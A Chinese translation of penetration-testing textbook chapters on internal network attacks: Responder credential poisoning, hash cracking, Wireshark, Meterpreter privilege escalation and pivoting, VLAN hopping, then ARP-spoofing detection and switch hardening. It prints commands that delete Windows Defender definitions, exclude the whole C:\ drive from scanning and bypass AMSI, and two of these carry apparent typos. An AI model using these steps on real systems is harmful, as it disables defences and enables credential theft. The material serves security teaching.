要使用 Windows 10 机器加入pentestlab.local域,请参考以下网址获取说明:helpdeskgeek.com/how-to/windows-join-domain/。此外,在您的 Windows 10 机器上,您需要将 DNS 服务器设置为 Windows Server 2016 机器的 IP 地址,然后再加入域。

实验准备好后,让我们转到我们的 Kali Linux 机器。我们将使用 Responder 执行我们的 MITM 攻击,以捕获各种协议消息。

要开始利用 LLMNR 和 NetBIOS,请遵循以下说明:

  1. 使用locate实用程序,我们将发现Responder.py的位置,如下面的屏幕截图所示:

  1. 将当前工作目录更改为/usr/share/responder。接下来,启用 Responder 以监听网络上的流量,如下面的屏幕截图所示:

我们将在 Responder 中使用以下参数:

    • -I,指定监听接口
  • -r,以启用网络上 NetBIOS 查询的响应

  • -d,以启用网络上域后缀查询的 NetBIOS 回复

  • -w,以启用 WPAD 恶意代理服务器

  1. 默认情况下,Responder 对受害者执行中毒攻击。每当客户端尝试访问网络上的资源,例如文件共享时,用户的凭据就会通过网络发送,如下截图所示:

我们能够确定以下内容:

    • 客户端的 IP 地址
  • 域名

  • 受害者的用户名(鲍勃)

  • 受害者的密码,以 NTLMv2 哈希的形式

  • 哈希算法

  • 用户试图访问网络上的服务器消息块SMB)文件共享

复制哈希并将其保存到桌面上的文本文件中。我已经将我的哈希保存在名为Hash.txt的文件中。

默认情况下,Responder 使用受害者的 IP 地址作为文本文件命名约定的一部分,将哈希保存在/usr/share/responder/logs目录中。

  1. 接下来,我们可以使用Hashcat对 NTLMv2 哈希进行离线密码破解,以恢复用户的明文密码。使用以下语法使用 Hashcat 进行密码破解:
hashcat -m 5600 Hash.txt <wordlist file> --force

请记住,进行密码破解可能是一项耗时的任务。此外,请确保单词列表/目录文件包含大量条目,以增加成功的可能性。

使用-m参数来指定 Hashcat 中的模式。模式用于告诉 Hashcat 哈希的类型。模式5600用于网络协议 - NetNTLMv2。此外,要发现其他模式,请使用hashcat --help命令。

要下载 SecLists 单词列表,请参考以下 URL:github.com/danielmiessler/SecLists

此外,您可以使用John the Ripper对使用 Responder 捕获的哈希进行密码破解。

现在您已经完成了本节,您现在可以利用 LLMNR 中的弱点。在下一节中,我们将演示如何利用 WPAD 的漏洞。

WPAD 协议攻击

在企业网络中,系统管理员通常允许员工通过代理服务器访问互联网。代理服务器通常提高性能和安全性,并监视进出企业网络的网络流量。WPAD 是一种在客户端机器上使用的技术,通过 DHCP 发现方法来发现配置文件的 URL。一旦客户端机器发现文件,它就会下载到客户端机器上并执行。脚本将为客户端确定代理。

在这个练习中,我们将在 Kali Linux 上使用 Responder 来捕获受害者的用户凭据。在开始之前,本练习将使用以下拓扑结构:

使用以下步骤,我们将能够轻松地在 Windows 环境中利用 WPAD:

实验室配置与上一节相同。

  1. 确保 Windows 10 客户端机器已加入由 Windows Server 托管的域。

  2. 在您的 Kali Linux 机器上,使用cd /usr/share/responder命令将工作目录更改为 Responder 位置。

  3. 执行python Responder.py -I eth0 -wFb命令:

片段中使用的开关提供以下功能:

    • -I:指定要使用的接口
  • -w:启用 WPAD 恶意代理服务器

  • -F:强制在wpad.dat文件检索中使用 NTLM 身份验证

  • -b:用于返回基本的 HTTP 身份验证

  1. 当受害者尝试浏览或访问网络上的任何本地资源时,将出现以下登录窗口:

  1. 一旦受害者输入他们的用户凭据,Responder 将以明文显示它们,如下截图所示。

请注意,此示例中使用的用户帐户是我在个人实验室域中为教育目的设置的。

只是作为提醒,Responder 生成的所有日志和捕获的数据都存储在/usr/share/responder/logs目录中。现在,您可以通过利用企业网络上的 WPAD 来捕获员工的用户凭据:

在下一节中,我们将学习关于 Wireshark 的知识。

Wireshark

Wireshark 是业内最好的网络协议分析器和嗅探器之一。它的功能非常广泛,并且能够对网络数据包进行深入的结果和分析。对于网络上发生的每一次对话或交易,Wireshark 都能够提供每个数据包的构成细节。

我们将首先概述 Wireshark 的功能。

Wireshark 的基本概述以及如何在 MITM 攻击中使用它

Wireshark 已经预先安装在您的 Kali Linux 操作系统上。要开始,请执行以下步骤:

  1. 导航到应用程序| 09-嗅探和欺骗| wireshark。

  2. 一旦打开 Wireshark,您将看到用户界面,如下面的屏幕截图所示:

  1. Wireshark 将提供所有网络接口的列表,并显示通过每个网络适配器传递的实时网络流量的摘要图。双击接口将立即在网络接口卡上开始实时捕获。

在本地系统上启用捕获将只显示流经攻击者机器和网络其余部分之间的流量。这意味着 Wireshark 只能拦截/嗅探流入和流出您计算机的网络流量。这并不那么方便,对吧?

让我们看看如何从网络交换机创建所有网络流量的镜像并将其发送到我们的攻击者机器。

配置 SPAN 端口

SPAN 允许交换机复制一个或多个端口上的流量,并将相同的副本发送到另一个端口。通常在网络安全管理员想要连接协议分析仪(嗅探器)或入侵检测系统(IDS)到网络以监视任何安全威胁时进行此配置:

在图中,攻击者机器(运行 Wireshark)连接到Cisco IOS 2960 交换机上的 Fast Ethernet 0/1 接口,而其他设备连接到同一网络段。假设我们想要复制流经 Fast Ethernet 0/2、Fast Ethernet 0/3 和 Fast Ethernet 0/4 端口之间的所有流量。

要执行在 Cisco IOS 交换机上配置 SPAN 端口的任务,请使用以下准则:

  1. 我们可以使用以下命令将输出发送到 Fast Ethernet 0/1:
Switch (config)# monitor session 1 source interface fastethernet 0/2 Switch (config)# monitor session 1 source interface fastethernet 0/3 Switch (config)# monitor session 1 source interface fastethernet 0/4 Switch (config)# monitor session 1 destination interface fastethernet 0/1
  1. 验证配置,请在交换机上使用show monitor命令:

输出显示我们的源端口(用于监视网络流量)和目标端口已正确配置。一旦我们在攻击者机器上启用 Wireshark 开始在我们的本地接口eth0上捕获,所有网络数据包将实时显示在 Wireshark 用户界面上。

完成了这一部分,您现在可以在 Cisco IOS 交换机上配置 SPAN 端口。在下一节中,我们将深入了解如何配置 Wireshark 来嗅探网络流量。

在 Wireshark 上配置监视(嗅探)接口

要在 Wireshark 上配置监视(嗅探)接口,请遵循以下说明:

  1. 单击“捕获”|“选项”以显示本地机器上的所有网络接口:

  1. 选择适当的网络接口,选择在所有接口上启用混杂模式,然后单击“开始”开始捕获网络数据包:

  1. 数据包列表窗格将开始填充网络数据包,因为网络上正在进行交易。单击数据包将在以下数据包详细信息窗格中显示其所有详细信息和字段:

当界面上的数据包被填充时,体验可能有点压倒性。在接下来的子部分中,我们将采取实际方法进行 HTTP 分析和其他类型的分析,以确定一些重要信息。

完成了本节,您现在可以将 Wireshark 用作网络上的嗅探器。在下一节中,我们将演示如何执行流量分析以收集敏感信息。

解析 Wireshark 数据包捕获以找到有用信息

在接下来的练习中,我们将使用The Honeynet Projectwww.honeynet.org)的捕获来帮助我们理解数据包分析。要执行 Wireshark 数据包的解析,请遵循以下步骤:

  1. 转到www.honeynet.org/node/1220并下载conference.pcapng文件。此外,以下 URL,honeynet.org/sites/default/files/conference.pcapng.gz,是该文件的直接下载链接。

  2. 下载后,使用 Wireshark 打开conference.pcapng文件;您应该看到以下视图:

  1. Wireshark 的一个有用功能是通过 DNS 自动将 IP 地址解析为主机名,将 MAC 地址解析为供应商名称,并将端口号解析为服务和协议。要启用此功能,请转到编辑 | 首选项 | 名称解析。确保已选中以下选项:

  1. 点击“确定”以确认并保存配置。回到主用户界面,您会注意到所有公共 IP 地址现在都已解析为它们的公共主机名:

  1. Wireshark 之所以成为强大的工具,是因为它的显示和捕获过滤器。要查看所有源自源 IP 地址的流量,请使用ip.src == <ip 地址>过滤器:

要显示特定目标地址的所有流量,我们可以使用ip.dst == <ip 地址>过滤器。但是,我们可以结合过滤器使用(ip.src == <ip 地址>) && (ip.dst == <ip 地址>)过滤器查看从特定源到目的地的流量。在以下截图中,我们使用过滤器查看所有源自172.16.254.128并前往 Google 的 DNS 服务器8.8.8.8的流量:

在组合过滤器时,您需要使用逻辑操作来完成任务。以下是 Wireshark 中用于组合过滤器的各种运算符的简短列表:

Ge运算符用于指示大于或等于,而Le运算符用于指示小于或等于

要了解更多关于 Wireshark 显示过滤器的信息,请访问wiki.wireshark.org/DisplayFilters

对于任何人来说,记住显示过滤器可能非常具有挑战性。但是,Wireshark 已经简化了使用用户界面上的右键单击选项轻松创建自定义过滤器。现在让我们尝试一些练习,以帮助您更熟悉显示过滤器。

要开始在 Wireshark 中创建显示过滤器,请执行以下步骤:

  1. 首先,在数据包 1 上右键单击源 IP 地址,然后单击应用为过滤器 | 已选择,立即创建并应用过滤器:

现在,我们有一个显示所有源自172.16.254.128地址的流量的过滤器。

  1. 接下来,在目标列中,右键单击8.8.8.8google-public-dns-a.google.com,单击应用为过滤器,然后选择选项...和已选择的

这将导致仅显示源自172.16.254.128并发送到 Google 的 DNS 服务器的流量。

应用为过滤器选项将立即在 Wireshark 上应用显示过滤器。但是,准备为过滤器提供相同的选项,但不会立即应用显示过滤器。相反,它允许您继续构建过滤器语法,并在之后应用它。

  1. 要查看网络上设备之间的所有对话,请单击统计 | 对话

对话窗口将打开,提供多个选项卡,其中包含以太网,IPv4,IPv6,TCP 和 UDP 会话的各种详细信息,如下面的屏幕截图所示:

您将能够确定在给定时间内进行通信和传输数据包的设备。

  1. Wireshark 允许我们轻松查看通过网络下载和上传的所有文件。要执行此任务,请单击文件 | 导出对象 | HTTP。 HTTP 导出窗口将打开,显示数据包,主机名(源),内容类型,大小和文件名等详细信息。要将文件导出到桌面,请在界面上选择一个数据包,然后单击保存

要从 Wireshark 捕获中导出所有文件,请使用保存所有选项。

  1. 要重新组装并查看两个设备之间的单个对话的所有消息,请右键单击数据包,然后选择跟踪 | TCP 流

Wireshark 将收集此流的所有数据包,重新组装它们,并向您呈现两个设备之间交换的消息对话框,如下面的屏幕截图所示:

以下是客户端和 Linux 服务器之间 Telnet 对话的屏幕截图。 Telnet 是一种不安全协议,Telnet 客户端和 Telnet 服务器之间的所有通信都以明文形式通过网络发送。以下屏幕截图显示了 Wireshark 如何重新组装单个对话的所有数据包:

我们可以看到用于登录服务器的用户凭据,服务器的当天消息MOTD)横幅以及所有其他交易。

完成了本节,您现在具备了在 Wireshark 中创建自定义显示过滤器所需的技能。在下一节中,我们将学习如何升级权限。

升级权限

获取用户凭据以访问系统只是渗透测试中获得访问权限阶段的一部分。但是,请记住,并非所有用户帐户都具有root管理员权限。因此,远程访问具有非根或标准用户帐户的系统将阻止您执行某些应用程序并在受害者系统上执行管理任务。

可以使用各种技术来升级权限,包括以下内容:

  • 从 Windows 的 SAM 文件中获取信息

  • 从 Linux 上的passwd文件中检索数据

  • 利用系统上运行进程的弱权限

  • 获取存储在网络文件共享上的敏感信息

  • 在用户与网络上的另一设备通信时,捕获用户密码的哈希值。

SAM 和 passwd 文件中的信息包含用户的用户名和密码的哈希值。使用密码破解技术,您将能够检索用户帐户的明文密码,然后可以使用这些密码访问设备。获取管理员或 root 帐户将为您提供对系统的无限制访问。

拥有标准用户帐户的系统访问权限意味着我们可以执行本地特权升级漏洞利用来获取管理员或根级别的访问权限。

Exploit-DB (www.exploit-db.com/)提供了一个用于多种目的的大型漏洞利用库;使用 Exploit-DB 网站上的搜索功能来发现特权升级漏洞利用:

在之前的章节中,我们演示了使用 Metasploit 成功利用目标并获取访问权限的技术。Meterpreter组件提供了getsystem命令,它尝试在目标系统上提升权限,如下面的截图所示。仔细看:你会看到我们能够在受害机上获得nt authority\system权限。这是最高级别的访问权限:

在我们的 Meterpreter shell 中,我们可以使用shell命令来获取受害机器的 Windows 命令提示符,以验证我们在受害机器上的权限级别。

始终确保通过检查 Exploit-DB (www.exploit-db.com)和通用漏洞和暴露 (cve.mitre.org/) 数据库来进行关于目标漏洞的广泛研究,以帮助你获取访问权限和提升用户权限的漏洞利用。在下一节中,我们将深入研究横向移动。

横向移动策略

横向移动允许攻击者将所有攻击通过一个受损的机器转移到组织内的其他子网。让我们想象一下,你正在对客户的网络进行渗透测试。他们的组织包含多个子网,但他们没有告诉你实际存在的网络数量。所以,你开始扫描网络以寻找活动主机和漏洞,并发现拓扑结构。

你已经发现并映射了整个10.10.10.0/24网络,并开始尽可能多地利用机器。然而,在你的利用阶段,你注意到了一个特定受害机器上的有趣的东西,并且在 Meterpreter shell 上,你执行ipconfig命令来查看受害机器上的 IP 配置:

在我们的情景中,Interface 11连接到与攻击者机器相同的子网,而Interface 18连接到另一个网络。在某些情况下,如果你尝试访问另一个子网,路由器或防火墙可能会配置为出于安全目的限制不同子网之间的访问。

为了绕过安全设备和网络访问控制,应该使用横向移动(枢轴)技术。作为攻击者,我们可以尝试妥协连接并在组织内其他子网上受信任的机器。一旦我们建立了枢轴或横向移动,所有我们的攻击将被发送通过受害机器并转发到新的目标网络,如下面的截图所示:

要使用 Metasploit 执行横向移动,请遵循以下说明:

  1. 在 Meterpreter 上使用arp命令将显示 ARP 缓存。在下面的截图中,有两个不同的网络连接到我们的受害机:

  1. 要启用横向移动,在 Meterpreter 中执行run post/multi/manage/autoroute命令,如下面的截图所示:

这将添加一个路由到附加网络,并允许你的攻击者机器将所有攻击发送到受害机器(10.10.10.23)并转发到10.10.11.0/24网络。

  1. 为了测试横向移动(枢纽),我们可以尝试从攻击者机器上对10.10.11.0/24网络执行 NetBIOS 扫描:

以下结果证明我们的攻击者机器能够对另一个子网执行扫描和攻击:

  1. 此外,在目标上执行 TCP 端口扫描已经证明是成功的,因为所有攻击都是通过10.10.10.23机器发送的:

然后我们可以针对新的子网。

在渗透测试期间,我们可能被要求发现隐藏或远程网络。对于您已经访问的每个系统,请务必检查受害者机器上的 ARP 缓存,并尝试在整个网络中执行横向移动。

在下一节中,我们将介绍如何使用 PowerShell 禁用 Windows Defender。

PowerShell 技巧

PowerShell 是建立在.NET 上的命令行脚本语言。IT 专业人员可以使用 PowerShell 自动化许多任务并更好地管理他们的操作系统。Windows、Linux 和 macOS 都支持 PowerShell。

在下一节中,我们将深入学习如何使用 PowerShell 删除 Windows Defender 病毒定义。

删除 Windows Defender 病毒定义

在所有现代版本的 Microsoft Windows 中,Microsoft 都将Windows Defender作为本机防恶意软件保护。有许多家庭用户和组织在终端设备上使用 Windows Defender 作为首选的防恶意软件解决方案。作为渗透测试人员,在渗透测试期间不被检测到非常重要,因为您的行动旨在模拟真实世界的攻击。

以下 PowerShell 脚本将从 Windows Defender 中删除所有病毒定义:

"c:\program files\windows defender\mpcmdrun.exe" -RemoveDefinitions -All Set-MpPreference -DisablelOAVProtection $true

以下屏幕截图显示了在 Windows 10 机器上成功执行前述脚本的输出:

此外,查看 Windows Defender 版本信息;我们可以看到所有定义都已被删除:

可能会有 Windows Defender 重新启用的情况。使用以下脚本将C:\路径添加到 Windows Defender 排除列表中:

powershell Add-MpPreference -ExclusionPath "c:\"

以下屏幕截图演示了如何成功执行脚本:

这种技术将允许我们在受害者的 Windows 机器的C:驱动器上执行恶意代码。

现在您已经学会了如何从 Windows Defender 中删除病毒定义,我们现在将介绍如何禁用 Windows 防恶意软件扫描接口AMSI)。

禁用 Windows 防恶意软件扫描接口

Microsoft 在最近的 Windows 版本中包含了其 AMSI,以防止在本地系统上执行任何恶意代码。如果您正在破坏 Windows 操作系统,执行 PowerShell 脚本可能非常有帮助,但 AMSI 将阻止任何恶意行为。要禁用 AMSI,请执行以下 PowerShell 脚本:

"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsilnitFailed','NonPublic,Static').SetValue($null,$true)"

以下屏幕截图显示了在 Windows 10 操作系统上成功执行脚本:

此时,您可以在受害者的 Windows 机器上运行几乎任何恶意代码。

本节假定您已经破坏了企业网络上的 Windows 操作系统。在下一节中,我们将简要讨论 IT 行业中许多网络管理员忽视的常见漏洞:VLAN 跳跃。

启动 VLAN 跳跃攻击

组织通常实施虚拟局域网VLANs)来分割和改善其网络基础设施的性能,同时提高安全性。在配置 VLAN 时,我们关注的是两个主要端口:访问端口和干线端口。

访问端口是配置为将终端设备连接到交换机的端口。这些端口只允许一个数据 VLAN 和一个额外的语音 VLAN。在配置访问端口时,VLAN ID 通常被静态配置为交换机上的访问端口。

要使多个 VLAN 在网络上通信,需要在交换机之间配置干线端口。干线端口允许多个 VLAN 同时传输流量。干线端口在交换机之间配置,并在交换机和路由器之间配置,以实现 VLAN 间路由,允许一个 VLAN 与另一个 VLAN 通信。

许多时候,IT 专业人员没有正确配置网络设备。渗透测试人员可以利用这个漏洞,并尝试执行 VLAN 跳跃攻击。一旦成功,攻击者的机器将能够访问所有可用的 VLAN,并执行 MITM 攻击。以下图表显示了一个成功启用未经授权的干线的攻击者:

在 Kali Linux 上,Yersinia允许攻击者对网络执行各种类型的第二层攻击,以利用安全配置错误和弱点。要打开 yersinia,请执行以下命令:

yersinia -G

图形用户界面将出现在您的桌面上。要启动 VLAN 跳跃攻击,请执行以下步骤:

  1. 点击启动攻击按钮。

  2. 将会出现一个新窗口。点击DTP选项卡,并选择启用干线单选按钮,如下图所示:

  1. 当您准备好时,点击确定开始在网络上执行VLAN 跳跃攻击。

完成本节后,您现在能够使用 Kali Linux 执行 VLAN 跳跃攻击。

总结

在本章的过程中,您已经学习了内部网络扫描、MITM 攻击、数据包分析、权限提升、使用 Meterpreter 进行横向移动、使用 PowerShell 禁用 Windows Defender 以及 VLAN 跳跃等技能。

现在您已经掌握了使用 AutoScan-Network、Zenmap 和 Netdiscover 等工具进行内部网络扫描的技能。此外,您现在能够使用 Wireshark 捕获数据包并进行数据包分析,以查看受害者的流量如何在目标网络中流动。此外,您知道如何成功执行连接后攻击,如横向移动(枢纽),以及如何使用 PowerShell 禁用受害者系统上的 Windows Defender 病毒防护。

我希望本章对您的学习和职业有所帮助和启发。在第十二章中,网络渗透测试-检测和安全,您将学习如何检测 ARP 欺骗攻击和可疑活动,并了解一些补救技术。

问题

以下是基于本章内容的一些问题:

  1. 可以使用什么工具访问错误配置的交换机上的多个 VLAN?

  2. Meterpreter 中可以使用哪个命令来提升权限?

  3. ARP 的目的是什么?

  4. 由于 Telnet 是一种不安全的协议,在传输数据时应使用哪种其他远程访问协议以防止攻击者看到数据?

  5. 在 Windows 操作系统中,如何确定当前用户权限和用户帐户的名称?

进一步阅读

第十二章:网络渗透测试-检测和安全

作为渗透测试人员,理解网络安全的概念本身就是一种资产。在本章中,我们将专注于网络安全运营方面的内容。了解如何检测威胁和可疑的网络流量模式是重要的,因为这将帮助 IT 安全团队检测和阻止网络上的攻击。您将学习各种蓝队策略,用于检测和防止组织网络基础设施内的网络攻击。在向客户提交渗透测试报告后,客户可能要求提供额外的服务,以帮助他们检测和防止组织内的网络威胁。本章将帮助您开始使用可疑流量监控和预防技术。

在本章中,我们将涵盖以下主题:

  • 使用 Wireshark 理解 ARP

  • 检测 ARP 欺骗攻击

  • 检测可疑活动

  • 中间人攻击MITM)的补救技术

  • 嗅探补救技术

技术要求

本章的技术要求如下:

使用 Wireshark 理解 ARP

地址解析协议ARP)旨在将 IP 地址解析为 MAC 地址。ARP 的重要性有时被 IT 专业人员低估。在局域网LAN)或同一子网内的设备之间的所有通信都使用媒体访问控制MAC)地址。这意味着设备在通信时不使用 IP 地址,除非通信超出了它们的本地子网,比如到另一个网络(或子网)。

让我们用一个简单的类比来解释,一个 PC 想要将文件发送到网络打印机进行打印。如果这两个设备在同一个子网上,PC 将把它的消息(文件)封装在一个帧内,并发送到网络交换机。网络交换机将读取帧的目标 MAC 地址,并将其转发到网络打印机进行处理。

让我们看一下以下截图。这是 Wireshark 捕获的一帧。通过观察第 2 层协议,即 ARP,我们可以确定一些事情:

这帧是一个地址解析协议(请求)消息。这帧的发送者具有 MAC 地址00:0c:29:7e:37:58和 IP 地址10.10.10.1610.10.10.16机器正在本地网络上进行广播。通过观察帧中的目标 MAC 地址是ff:ff:ff:ff:ff:ff,可以确定这一点;然而目标 MAC 地址为空,而目标 IP 地址10.10.10.23。简单来说,10.10.10.16机器正在询问本地网络上的每个人,10.10.10.23是谁,设备的 MAC 地址是什么。

以下截图显示了来自10.10.10.16地址解析协议(回复)(响应)帧。请花些时间观察帧内的所有字段:

具有 IP 地址10.10.10.23的设备回复了发送者(10.10.10.16),说它的 MAC 地址是00:0c:29:24:be:4f。对于10.10.10.1610.10.10.23之间的所有未来通信,这两个设备都在它们的 ARP 缓存中拥有对方的 MAC 地址。这些 MAC 地址将用于在网络上转发帧。

在本节中,您已经学会了如何使用 Wireshark 查看和解释在网络上流动的 ARP 消息。在下一节中,我们将介绍如何检测网络上的 ARP 欺骗攻击。

检测 ARP 欺骗攻击

作为网络安全专业人员,您可能会被要求帮助组织识别其网络基础设施上的任何 ARP 欺骗攻击。

ARP 欺骗是指攻击者向受害者的机器发送虚假的 ARP 消息,以创建修改受害者 ARP 缓存条目的效果。这将导致受害者的机器将帧(流量)发送到网络中的一个恶意设备,而不是合法目的地。

为了解释 ARP 欺骗的检测过程,我们将使用以下拓扑:

使用 Wireshark,我们可以查找网络上端点设备之间特定流量模式。使用 Wireshark 上的arp过滤器,我们只能查看ARP消息,如下图所示:

信息列中,一些数据包有不寻常的描述。通过扩展帧 1数据包详细信息窗格中的信息,我们将能够看到发送者(攻击者)向10.10.10.23(一台 PC)发送了一个自发的 ARP 消息(ARP 回复):

帧 1告诉10.10.10.2310.10.10.1(网关)的 MAC 地址是00:0c:29:7e:37:58。这将导致受害者更新其 ARP 缓存,将10.10.10.1映射到00:0c:29:7e:37:58。然而,这个 MAC 地址属于 Kali Linux(攻击者)机器。

以下屏幕截图显示了从攻击者发送到网关(10.10.10.1)的帧的内容,说明 PC(10.10.10.23)的 MAC 地址现在是00:0c:29:7e:37:58

此外,Wireshark 一直在检测 ARP 帧中的 MAC 地址重复,并发出黄色警告。请记住,Wireshark 是一个网络协议分析器,而不是威胁监控应用程序,因此需要人工干预来对网络流量进行进一步分析。安全设备和工具,如 Cisco Stealthwatch、AlienVault SIEM 和 OpenSOC,可以帮助网络安全专业人员快速识别威胁。

在本节中,您已经学会了如何使用 Wireshark 检测 ARP 欺骗攻击。在下一节中,我们将看看如何检测网络上的可疑活动。

检测可疑活动

在许多大型组织中,IT 部门通常会实施一个网络运营中心NOC)来监视和解决所有与网络相关的问题。随着安全威胁的增加,组织有时会实施一个专门的团队来专注于网络安全;这个团队被称为安全运营中心SOC)。

SOC 的责任范围从威胁监控和消除到安全设备配置、合规性、取证,甚至逆向恶意软件工程。

SOC 应该调查的一些可疑活动包括以下内容:

  • 下班后异常的流量激增

  • 异常的入站和出站流量

  • 异常的 DNS 请求

以下屏幕截图显示了我实验室中的 Wireshark 捕获。通过仔细观察数据包的流动,我们可以看到正在进行端口扫描。

进行端口扫描的机器的 IP 地址为10.10.10.16,而目标的 IP 地址为10.10.10.100信息列提供了每个数据包的简要摘要。在这里,我们可以看到对每个网络端口发送了SYN探测。我们可以清楚地看到网络上正在执行SYN隐形)扫描。

要在 Wireshark 中查看所有 TCP 连接,请按照以下步骤进行:

  1. 点击统计 | 端点。

  2. 接下来,端点窗口将出现,显示所有连接到目标10.10.10.100的连接以及攻击者探测的端口:

作为网络安全领域的一员,您将开始培养识别网络流量中异常流量模式的技能。然而,诸如 Wireshark 之类的工具可以极大地帮助您过滤并查看网络中流动的特定类型的数据包。

在本节中,您已经学习了使用 Wireshark 检测网络上可疑活动的基础知识。在接下来的部分中,我们将介绍各种方法来预防和减轻 MITM 攻击。

MITM 补救技术

在本节中,我们将重点讨论 IT 专业人员可以采用的一些技术,以阻止和预防针对 LAN 的 MITM 攻击。我们将讨论以下主题,以了解它们在 LAN 上阻止和预防 MITM 攻击中所扮演的角色:

  • 加密

  • 动态 ARP 检查DAI

加密

在 MITM 攻击期间,攻击者能够拦截受害者和通信目的地之间的所有流量。加密数据对攻击者来说是不可读的;然而,尽管加密,攻击者仍然能够查看以下细节:

  • 源 IP 地址

  • 目标 IP 地址

  • 源端口

  • 目标端口

  • 第 3 层协议

在攻击者的机器上,他们只能查看以纯文本发送的流量。以下截图显示了网络上客户端和 Linux 服务器之间的 Wireshark 捕获:

服务器正在使用 Telnet 作为远程访问的方法。用户的输入以红色显示,而服务器的响应以蓝色显示。在这里,我们可以看到 Wireshark 已经重新组装了整个 Telnet 会话的所有数据包,并以美丽的对话框格式呈现出来。换句话说,我们可以看到在两台设备之间的 Telnet 会话期间发生的一切。在此捕获中,用户名和密码已被记录。

在企业网络上防止 MITM 攻击至关重要,因为每秒钟都会以多种格式在整个组织中发送敏感信息。

在接下来的部分中,我们将学习如何配置 Cisco IOS 交换机以使用 DAI。

动态 ARP 检查

DAI 是交换机上的一项安全功能,可防止无效的 ARP 数据包进入网络。这种技术用于防止 LAN 上的 MITM 攻击和 ARP 欺骗攻击。

在下图中,我们可以看到攻击者试图在 PC 和路由器之间的网络上执行 MITM 攻击:

为了防止此类攻击,您可以在 Cisco IOS 交换机上使用以下配置:

  1. 在 VLAN 上启用DHCP 监听,并在所有干道端口和连接到网络上的 DHCP 服务器的接口上配置可信端口。以下配置正在进行中,以在 Cisco IOS 交换机上启用 DHCP 监听:
Switch(config)#ip dhcp snooping Switch(config)#ip dhcp snooping database DHCPsnoop Switch(config)#ip dhcp snooping vlan 2 Switch(config)#interface gigabitEthernet 0/1 Switch(config-if)#ip dhcp snooping trust

DHCP 监听用于防止恶意用户将伪造的 DHCP 服务器连接到企业网络。信任端口用于允许DHCP OfferDHCP ACK数据包进入网络,而其他端口(不受信任的端口)只允许DHCP DiscoverDHCP Request数据包。

干道端口能够同时传输多个 VLAN 的流量。干道端口是一个交换机和另一个交换机之间,或一个交换机和路由器之间的端口。

  1. 在 VLAN 上启用 ARP 检查,并配置所有干道端口为可信端口:
Switch(config)#ip arp inspection vlan 2 Switch(config)#interface gigabitEthernet 0/1 Switch(config-if)#ip arp inspection trust Switch(config-if)#exit
  1. 在交换机上创建一个第 2 层访问控制列表ACL),将 IP 地址绑定到 MAC 地址:
Switch(config)#arp access-list ARP-Inspect Switch(config-arp-nacl)#permit ip host 10.10.10.1 mac 000b.be56.eb02 Switch(config-arp-nacl)#exit
  1. 将第 2 层 ACL 映射到 VLAN。以下命令将在交换机上启用 ARP 检查:
Switch(config)#ip arp inspection filter ARP-Inspect vlan 2 

现在我们能够在 Cisco IOS 交换机上实施 DAI,让我们来看看一些额外的补救技术。

嗅探补救技术

检测和减轻网络嗅探器可能有些具有挑战性。网络嗅探器在网络上几乎是不可检测的,因为它被动地监听传入的网络流量。使用安全协议,如 HTTPS、安全文件传输协议SFTP)和安全外壳SSH)将防止嗅探器看到设备之间发送的原始消息。

此外,您可以使用 Nmap 来发现企业网络中的嗅探器。要做到这一点,请使用以下命令:

nmap -sV --script=sniffer-detect <target>

确保扫描整个子网和您组织拥有的任何其他网络。此外,IT 专业人员偶尔会对企业网络进行物理扫描,以发现是否有任何未经授权连接到企业局域网的设备。

总结

在本章的过程中,我们介绍了 ARP 的基本知识,以及攻击者如何利用 ARP 中的漏洞来执行 ARP 欺骗和 MITM 攻击。此外,我们还研究了使用 Wireshark 来帮助我们分析网络流量,以便快速检测 MITM 和 ARP 攻击。

现在,您已经掌握了使用 Wireshark 检测 ARP 和 MITM 攻击的知识和技能,以及如何在网络交换机上实施安全控制。我希望本章对您的学习和职业有所帮助和启发。

在第十三章中,客户端攻击-社会工程,您将了解各种社会工程技术。

问题

以下是一些基于本章内容的问题:

  1. 如何防止攻击者读取您的数据?

  2. 攻击者可以执行什么技术来拦截受害者的网络流量?

  3. 思科 IOS 交换机支持哪种安全控制以防止 MITM 攻击?

  4. 为什么 IT 专业人员不应该使用 Telnet?

  5. 如何在网络上检测嗅探器?

进一步阅读

第十三章:客户端攻击-社会工程

许多组织倾向于相信,在其网络边界上拥有单一的保护系统足以保护其资产。拥有单一网络防火墙只是单层防御;攻击可以绕过公司网络内的安全系统和控制的方式有很多。一种常用的技术是操纵一个人做某事或向攻击者透露机密信息。这就是所谓的社会工程

作为渗透测试人员,了解这个主题的基本概念、技术和实际方面是很重要的,因为这将帮助你在公司网络中获取用户凭证、系统和网络访问权限,以及有关员工和目标网络的其他敏感信息。在本章的过程中,您将比较和对比不同形式的社会工程攻击,同时使用各种工具和技术创建钓鱼网站,以收集受害者的凭证。

在本章中,我们将涵盖以下主题:

  • 社会工程的基础知识

  • 社会工程的类型

  • 防御社会工程

  • 社会工程学(doxing)的侦察

  • 为每种类型的社会工程攻击做计划

  • 社会工程工具

技术要求

以下是本章的技术要求:

  • Kali Linux

社会工程的基础知识

社会工程是攻击者或渗透测试人员用来说服某人透露敏感(机密)信息的技术。社会工程可以针对公司帮助台、行政团队、IT 人员、高管团队等进行。任何能够访问有价值的公司信息的员工绝对是主要目标;挑战在于操纵受害者相信你所说的一切并获得他们的信任。一旦获得受害者的信任,下一阶段就是利用它。

以下是社会工程可能对组织产生重大影响的各种方式:

  • 由于机密信息的泄露导致收入损失,这将导致客户对公司失去信任。

  • 由于公司数据被窃取并可能在网上泄露,隐私丧失。

  • 由于违反公司政策可能会发生诉讼和仲裁。

社会工程建立在以下支柱上:

  • 人类信任是所有社会工程攻击的重要组成部分。

  • 攻击者(社会工程师)通常会请求某种形式的帮助或协助,受害者往往会因为一种善意或道义义务而遵从。

  • 员工缺乏安全意识培训,使公司成为更容易的目标。

实施安全政策绝对是确保所有公司资产和员工安全的良好做法。然而,安全政策并不总是有效地防止社会工程攻击。让我们想象一下,一个渗透测试人员打电话给一个组织的帮助台,假装是高级经理之一,要求更改他们的公司用户帐户的密码。帮助台工作人员可能不会要求呼叫者提供有关其身份的进一步验证,而只是执行任务并通过电话提供新的用户帐户密码。攻击者现在可以使用这些用户凭证来访问电子邮件帐户和公司网络的其余部分。

通常没有办法确保完全免受社会工程攻击的安全,因为没有安全软件或硬件能够完全抵御此类攻击。

在接下来的部分,我们将讨论不同类型的社会工程攻击。

社会工程的类型

社会工程有许多形式;以下是不同类型的社会工程:

  • 基于人的社会工程: 这种社会工程通过与他人互动从另一个人那里收集机密信息,换句话说,通过与个人交谈。

